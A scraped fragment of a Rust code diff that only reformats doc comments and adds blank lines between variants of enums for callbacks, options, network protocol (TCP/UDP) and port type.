/// * A `common::enums::Callbacks` variant corresponding to the selected callback.
|
||||
///
|
||||
pub fn to_shared(self) -> common::enums::Callbacks {
|
||||
match self {
|
||||
@@ -201,7 +201,7 @@ impl Options {
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// A `common::enums::Options` variant corresponding to the selected option.
|
||||
/// * A `common::enums::Options` variant corresponding to the selected option.
|
||||
///
|
||||
pub fn to_shared(self) -> common::enums::Options {
|
||||
match self {
|
||||
@@ -217,6 +217,7 @@ impl Options {
|
||||
pub enum Protocol {
|
||||
/// Transmission Control Protocol (TCP).
|
||||
TCP,
|
||||
|
||||
/// User Datagram Protocol (UDP).
|
||||
UDP,
|
||||
}
|
||||
@@ -226,7 +227,7 @@ impl Protocol {
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// A `common::enums::Protocol` variant corresponding to the selected protocol.
|
||||
/// * A `common::enums::Protocol` variant corresponding to the selected protocol.
|
||||
///
|
||||
pub fn to_shared(self) -> common::enums::Protocol {
|
||||
match self {
|
||||
@@ -241,6 +242,7 @@ impl Protocol {
|
||||
pub enum PortType {
|
||||
/// Local port.
|
||||
LOCAL,
|
||||
|
||||
/// Remote port.
|
||||
REMOTE,
|
||||
}
|
||||
@@ -250,7 +252,7 @@ impl PortType {
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// A `common::enums::PortType` variant corresponding to the selected port type.
|
||||
/// * A `common::enums::PortType` variant corresponding to the selected port type.
|
||||
///
|
||||
pub fn to_shared(self) -> common::enums::PortType {
|
||||
match self {
|
||||
|
||||
Reference in New Issue
Block a user